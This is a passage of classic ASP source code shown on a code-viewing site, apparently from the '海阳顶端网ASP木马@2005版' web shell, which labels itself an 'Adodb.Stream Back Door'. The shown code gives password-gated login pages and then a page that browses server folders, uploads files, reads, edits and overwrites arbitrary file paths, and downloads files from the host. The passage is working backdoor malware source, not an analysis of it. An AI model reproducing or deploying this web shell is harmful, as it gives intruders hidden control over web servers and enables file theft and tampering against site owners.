📄 2005.htm
字号:
pageApp()
end select
rem +-------------------------------+
rem | 下面是各独立功能代码 |
rem +-------------------------------+
sub pageDefault()
dim theAct,password
theAct=request("theAct")
password=request("password")
if theAct="chkLogin" then
if password=userPassword then
session(m&"userPassword")=userPassword
redirectTo(url&"?pageName=server")
else
redirectTo(url&"?pageName=default")
end if
end if
showTitle("管理登录")
echo "<body onload=""formx.password.focus();"">"
echo "<table width=""416"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=""0"">"&vbNewLine
echo "<form name=""formx"" method=""post"" action=""?pageName=default&theAct=chkLogin"" onSubmit=""return default_canLogin(this);"">"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""25"" align=""center"" class=""td"">管理登录</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""75"" align=""center"">"&vbNewLine
echo " <input name=""password"" type=""password"" class=""inputLogin"" id=""password"" style=""background-color:#ffffff;"">"&vbNewLine
echo " <input type=""submit"" name=""Submit"" value=""LOGIN"" class=""inputLogin"">"&vbNewLine
echo " </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""25"" align=""center"" class=""td"">海阳顶端网ASP木马@2005版</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo "</form>"&vbNewLine
echo "</table>"&vbNewLine
echo "</body>"
showExecuteTime()
end sub
sub pageLogin()
dim theAct,password
isIn(1)
theAct=request("theAct")
password=request("password")
if theAct="chkLogin" then
if password=adminPassword then
session(m&"adminPassword")=adminPassword
redirectTo(url&"?pageName=stream")
else
redirectTo(url&"?pageName=login")
end if
end if
showTitle("管理登录")
echo "<body onload=""formx.password.focus();"">"
echo "<table width=""416"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=""0"">"&vbNewLine
echo "<form name=""formx"" method=""post"" action=""?pageName=login&theAct=chkLogin"" onSubmit=""return default_canLogin(this);"">"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""25"" align=""center"" class=""td"">管理密码验证</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""75"" align=""center"">"&vbNewLine
echo " <input name=""password"" type=""password"" class=""inputLogin"" id=""password"" style=""background-color:#ffffff;"">"&vbNewLine
echo " <input type=""submit"" name=""Submit"" value=""LOGIN"" class=""inputLogin"">"&vbNewLine
echo " </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""25"" align=""center"" class=""td"">海阳顶端网ASP木马@2005版</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo "</form>"&vbNewLine
echo "</table>"&vbNewLine
echo "</body>"
showExecuteTime()
end sub
sub pageStream()
isIn(2)
dim theAct,thePath,toPath,fileName
theAct=request("theAct")
toPath=request("toPath")
thePath=request("thePath")
fileName=request("fileName")
if thePath="" then
thePath=server.mapPath(".")
end if
select case theAct
case "save"
streamEditFile(thePath)
response.end
case "down"
downTheFile(thePath)
response.end
case "saveAsTwo"
saveAsTwo thePath,toPath
response.end
end select
showTitle("流操作页面")
pageOther()
showMenu()
select case theAct
case "edit"
streamEditFile(thePath)
response.end
case "upload"
streamUpload thePath,fileName
echo "<script language=""javascript"">location.href='?pageName=stream&thePath="&encodeForUrl(thePath,true)&"';</script>"
response.end
end select
echo "<table width=""760"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=""0"">"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""22"" colspan=""2"" class=""td"">&nbsp;"&vbNewLine
echo request.serverVariables("server_name")
echo " "&vbNewLine
echo " - Adodb.Stream Back Door</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td colspan=""2"" class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <form method=""post"" onSubmit=""this.Submit3.disabled=true;"" action=""?pageName=stream"">"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td colspan=""2"" class=""td"">&nbsp;PATH: "&vbNewLine
echo " <input name=""thePath"" type=""text"" id=""thePath"" value="""&vbNewLine
echo thePath
echo """ size=""60""> "&vbNewLine
echo " <input type=""button"" name=""Submit3"" value=""查 看"" onclick=""location.href='?pageName=stream&thePath='+this.form.thePath.value;this.disabled=true;"">"&vbNewLine
echo " </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " </form>"&vbNewLine
echo " <form method=""post"" enctype=""multipart/form-data"" action=""?pageName=stream&theAct=upload&thePath="&vbNewLine
echo encodeForUrl(thePath,false)
echo """ onsubmit=""return upload_canSubmit(this);"">"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td colspan=""2"" class=""td"">&nbsp;"&vbNewLine
echo " <input name=""file"" type=""file"" size=""25"">"&vbNewLine
echo " 保存为 "&vbNewLine
echo " <input name=""fileName"" type=""text"" value="""&vbNewLine
echo thePath
echo """ size=""35""> "&vbNewLine
echo " <input name=""Submit"" type=""submit"" id=""Submit"" value=""上 传"" onClick=""this.form.action+='&theFile='+this.form.file.value+'&overWrite='+this.form.writeMode.checked;"">"&vbNewLine
echo " <input type=""checkbox"" name=""writeMode"" value=""True"">覆盖模式"&vbNewLine
echo " </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " </form>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td colspan=""2"" class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td width=""30%"" class=""td"" valign=""top"">"&vbNewLine
echo " "&vbNewLine
call streamGetFolderList(thePath,true)
echo " </td>"&vbNewLine
echo " <td width=""555"" valign=""top""> "&vbNewLine
echo " "&vbNewLine
call streamGetFolderList(thePath,false)
echo " <br> <div id=""loaded"" style=""display:none;""> "&vbNewLine
echo " <iframe id=""fileEditor"" frameborder=""0"" scrolling=""no"" valign=""top"" width=""100%"" height=""475""></iframe>"&vbNewLine
echo " </div></td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td colspan=""2"" class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr align=""right""> "&vbNewLine
echo " <td height=""22"" colspan=""2"" class=""td"">Powered By <a href=""javascript:;"" title=""QQ:26696782"">Marcos</a> 2004.11&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo "</table>"&vbNewLine
echo "<a name=""foot""></a>"&vbNewLine
showExecuteTime()
end sub
sub streamEditFile(thePath)
dim fileName,fileContent,userCharset
fileName=thePath
userCharset=request("userCharset")
if request("theAct")="save" then
fileContent=request("fileContent")
streamWriteToFile thePath,fileContent
response.end
end if
fileContent=streamReadFromFile(fileName,request("userCharset"))
echo "<table border=""0"" align=""center"" cellpadding=""0"" cellspacing=""0"">"&vbNewLine
echo " <form method=""post"" action=""?pageName=stream&theAct=save"" onsubmit=""if(confirm('您确认要保存当前文件吗?')){this.Submit.disabled=true;this.Submit2.disabled=true;this.Submit3.disabled=true;}else{return false;}"">"&vbNewLine
echo " <tr>"&vbNewLine
echo " <td><input name=""thePath"" type=""text"" id=""thePath"" value="""&vbNewLine
echo thePath
echo """ size=""50"">"&vbNewLine
echo " <input type=""button"" name=""Submit6"" value=""查 看"" onclick=""location.href='?pageName=stream&theAct=edit&thePath='+this.form.thePath.value;this.disabled=true;""></td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td><textarea name=""fileContent"" cols=""70"" rows=""25"" id=""fileContent"">"&vbNewLine
echo server.htmlEncode(fileContent)
echo "</textarea></td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""50"" align=""right""><font class=""warningColor"">非GB2312编码文件可能无法正确保存!</font> "&vbNewLine
echo " <input name=""userCharset"" type=""text"" value="""&vbNewLine
echo userCharset
echo """ size=""10""> "&vbNewLine
echo " <input type=""button"" value=""重新编码"" name=""Submit3"" onclick=""location.href='?"&vbNewLine
echo replace("pageName=stream&thePath="&thePath&"&theAct=edit","\","\\")
echo "&userCharset='+this.form.userCharset.value;this.disabled=true;""> "&vbNewLine
echo " <input type=""button"" name=""Submit"" value=""保 存"" onClick=""if(confirm('确认保存修改?')){this.form.submit();}""> "&vbNewLine
echo " <input type=""button"" name=""Submit2"" value=""另存为"" onclick=""stream_saveAs(this.form,'"&vbNewLine
echo encodeForUrl(thePath,true)
echo "');""> "&vbNewLine
echo " &nbsp; </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " </form>"&vbNewLine
echo "</table>"&vbNewLine
echo "<a name=""foot""></a>"&vbNewLine
showExecuteTime()
end sub
sub streamGetFolderList(thePath,showFolder)
dim sa,ext,flag,list,folders,theHref
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -